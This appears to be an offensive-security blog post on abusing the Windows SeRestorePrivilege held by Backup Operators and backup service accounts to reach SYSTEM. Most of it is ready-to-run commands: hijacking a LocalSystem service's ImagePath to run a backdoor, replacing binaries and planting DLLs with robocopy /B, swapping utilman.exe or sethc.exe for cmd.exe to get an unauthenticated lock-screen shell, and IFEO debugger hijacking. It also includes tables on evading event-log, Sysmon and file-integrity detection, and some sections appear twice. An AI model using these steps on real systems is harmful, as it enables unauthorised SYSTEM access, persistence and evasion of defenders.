windows

SeRestorePrivilege: From Backup Operator to SYSTEM in 3 Steps

SeRestorePrivilege: From Backup Operator to SYSTEM in 3 Steps

How to abuse SeRestorePrivilege to overwrite system binaries and gain SYSTEM shell. ImagePath hijacking, DLL sideloading, persistent backdoor. Red Team technique.

  • Posted on 2026-05-29
  • Reading time: 5 min

Same group as SeBackupPrivilege, opposite direction. With SeRestorePrivilege you can write to any file or registry key bypassing ACLs — replace a SYSTEM service binary, restart the service, get nt authority\systemPersistent backdoor across reboots included.


Quick Exploit #

cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\backdoor.exe" /f
sc stop NomeServizio
sc start NomeServizio

Expected output:

text
nt authority\system

What is SeRestorePrivilege? #

It works with the same mechanism as SeBackupPrivilege but in the opposite direction: it uses FILE_FLAG_BACKUP_SEMANTICS write. The kernel bypasses the DACL and allows writing to any file or registry key, regardless of normal permissions.

Note: reg add su HKLM e robocopy /B activate the restore API internally — they work even if the privilege appears Disabled.


When it exists #

  • Backup Operators (local and domain) — have both SeBackupPrivilege and SeRestorePrivilege by design
  • Server Operators in Active Directory
  • Veeam / Acronis / Backup Exec Service Accounts
  • IT Account with explicit backup delegations

Verify:

cmd
whoami /priv

Looking for:

text
SeRestorePrivilege    Restore files and directories    Enabled

Who has privilege in the system:

cmd
accesschk.exe -a SeRestorePrivilege *

Attack Chain #

text
Account Backup Operators / Veeam compromesso
  → whoami /priv → SeRestorePrivilege Enabled
  → sc qc NomeServizio → identifica binario SYSTEM
  → reg add ImagePath → punta a backdoor.exe
  → sc stop + sc start → nt authority\system
  → persistenza ai riavvii (il servizio caricherà sempre backdoor.exe)

Tool Decision #

TargetMethod
Quick ImagePath Editreg add on HKLM (uses restore API internally)
Physical track replacementrobocopy /B — bypass ACL with backup semantics
DLL hijackingrobocopy /B + Identify missing DLLs with Process Monitor
Backdoor without service restartAccessibility backdoor (utilman.exe / sethc.exe)
Intercept any executableIFEO hijacking via reg add on Image File Execution Options

First find a service running as LocalSystem:

cmd
wmic service get name,startname,pathname | findstr /i "LocalSystem"

Then check the exact path of the target service binary:

cmd
sc qc NomeServizio

Output:

text
SERVICE_NAME: NomeServizio
        BINARY_PATH_NAME   : C:\Program Files\VendorApp\svc.exe
        OBJECTNAME         : LocalSystem

Step 2 — Edit ImagePath via registry #

The cleanest method: Edit the service registry key to point to your binary. reg add su HKLM Use the restore API internally:

cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\backdoor.exe" /f

Restart the service:

cmd
sc stop NomeServizio
cmd
sc start NomeServizio

Expected output:

text
nt authority\system

variants #

robocopy /B — direct binary replacement #

Overwrites the service file using the restore API, bypassing ACLs:

cmd
robocopy /B C:\temp "C:\Program Files\VendorApp\" backdoor.exe /mt /is

If the filename needs to match the original binary, rename it:

cmd
move "C:\Program Files\VendorApp\backdoor.exe" "C:\Program Files\VendorApp\svc.exe"

Restart the service:

cmd
sc stop NomeServizio && sc start NomeServizio

Privileged DLL Hijacking #

Instead of replacing the main binary, it places a malicious DLL that the service searches for and cannot find. To identify missing DLLs, use Process Monitor (Sysinternals): Open procmon, apply filters Result is NAME NOT FOUND e Path ends with .dll, then start the service and observe the output.

Once the missing DLL has been identified, for example C:\Program Files\VendorApp\missing.dll:

cmd
robocopy /B C:\temp "C:\Program Files\VendorApp\" malicious.dll

Rename if necessary:

cmd
move "C:\Program Files\VendorApp\malicious.dll" "C:\Program Files\VendorApp\missing.dll"

Restart the service:

cmd
sc stop NomeServizio && sc start NomeServizio

Alternatively, use Seatbelt to automatically find hijackable DLLs:

cmd
Seatbelt.exe HijackableDLLs

Accessibility backdoor — SYSTEM shell from the lock screen #

Replace utilman.exe (Win+U from lock screen) or sethc.exe (Shift×5) with cmd.exe. Get an unauthenticated SYSTEM shell — persistent backdoor across reboots.

First make a backup of the original:

cmd
robocopy /B C:\Windows\System32 C:\temp utilman.exe

Then replace with cmd.exe:

cmd
copy /B C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe /Y

From the lock screen: Win+U → shell SYSTEM.

For sethc.exe (Sticky Keys):

cmd
copy /B C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /Y

From the lock screen: Shift × 5 → shell SYSTEM.

IFEO hijacking — intercepts any executable #

Image File Execution Options allows you to set a debugger for any executable: when the binary is launched, Windows starts the debugger in its place.

cmd
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /d "C:\temp\backdoor.exe" /f

Each start of utilman.exe will execute your backdoor. To clean up:

cmd
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f

Manually enable PowerShell script privilege #

If you use direct .NET APIs instead of robocopy /B:

powershell
Import-Module .\Enable-Privilege.ps1
Enable-Privilege SeRestorePrivilege

Verify:

cmd
whoami /priv | findstr SeRestore

Common mistakes #

reg add on ImagePath but the service still starts the original binary — The service only reads ImagePath at startup. You must stop and start, not just restart, in some cases.

robocopy /B fails with “Access Denied” — The privilege is Disabled in the token and you are using a path that requires explicit activation. Check with whoami /priv | findstr SeRestore.

DLL hijacking: service fails to load placed DLL — The service uses an absolute path in the LoadLibrary call. Verify with Process Monitor that it actually searches for the DLL in that path (filter on NAME NOT FOUND).

Accessibility backdoor restored after reboot — Windows Resource Protection (WRP) has restored the file. Use the services directory in C:\Program Files\ instead of WRP-protected System32 files.


Detection and bypass (Red Team view) #

What the Blue Team detectsHow the Red Team bypasses it
Event ID 4657 — changes ImagePathUsa robocopy /B for direct file replacement instead of touching the registry
Sysmon 11 — FileCreate on Services DirectoryCopy the file from a temporary path already present in the filesystem
FIM on the service tracksHard to avoid — operates during maintenance windows or uses DLL hijacking on less monitored files
Accessibility backdoor (modified utilman.exe)Use IFEO hijacking on registry instead — less noticeable to FIM

Real-world scenarios #

Veeam service account — accounts in the Backup Operators group on legacy service servers. reg add ImagePath points to backdoor.exe → sc restart → SYSTEM → dump credentials → lateral movement.

Accessibility backdoor in RDP environment utilman.exe replaced with cmd.exe → SYSTEM access from RDP lock screen without authentication → persistence across reboots.

Post-enumeration DLL hijacking — Seatbelt identifies a hijackable DLL on a SYSTEM service → robocopy /B place DLL → SYSTEM.


When it fails #

  • Windows Resource Protection (WRP) on System32 core files → automatic recovery from SFC. Use services directory (C:\Program Files\) Instead.
  • WDAC / AppLocker → The binary is blocked from execution even if it's written correctly. You need a signed binary or a LOLBin loader.
  • The privilege is Disabled and you use direct .NET APIs → use robocopy /B which triggers the restore API internally.
  • The service could not be restarted → check permissions: sc sdshow NomeServizio.

Detection and bypass (Red Team view) #

What the Blue Team detectsHow the Red Team bypasses it
Event ID 4657 — changes ImagePathUsa robocopy /B for direct file replacement instead of touching the registry
Sysmon 11 — FileCreate on Services DirectoryOperates during maintenance windows or uses DLL hijacking on less monitored files
FIM on service tracksHard to avoid — uses IFEO registry hijacking instead, less visible to FIM
Accessibility backdoor (utilman.exe)Use IFEO hijacking via reg add — less noticeable to the filesystem FIM

Mitigations #

  • Restrict the Backup Operators group with periodic review
  • WDAC — blocks execution of unsigned binaries even if written in the correct path
  • FIM on the tracks of critical services with immediate alert
  • gMSA for backup service accounts

Realistically, WDAC is the only truly effective mitigation. FIM without WDAC slows down but doesn't block—the attacker has already executed the code when the alert arrives. In most enterprise environments, WDAC is not deployed.


Common mistakes #

The service still starts the original track after reg add — You changed ImagePath but didn't stop and start. Some services require an explicit stop.

robocopy /B fails with Access Denied — The privilege is Disabled and is not automatically activated. Use reg add on HKLM which manages it internally, or enable with Enable-Privilege SeRestorePrivilege.

DLL not loaded after placement — The service uses an absolute path in the LoadLibrary call. Check with Process Monitor by filtering on NAME NOT FOUND + .dll.

Accessibility backdoor restored after reboot — WRP has restored the System32 file. Use the services directory in C:\Program Files\ Instead.


FAQ #

reg add Does it work even if SeRestorePrivilege is Disabled? Yes — it uses the restore API internally and activates it automatically.

What's the difference with SeBackupPrivilege? SeBackupPrivilege reads, bypassing ACLs. SeRestorePrivilege writes. Backup Operators have both—arbitrary read and write rights on the entire filesystem.


SeRestorePrivilege turns a backup account into a persistent backdoor installer. Once the ImagePath is changed, persistence survives reboots until someone examines the registry key.


Related articles:

References: Seatbelt · Process Monitor · Microsoft Docs

To evaluate the service accounts exposed in your infrastructure: hackita.it/supporto

#serestoreprivilege #privilege-escalation #robocopy

leave a message

I'm not a robot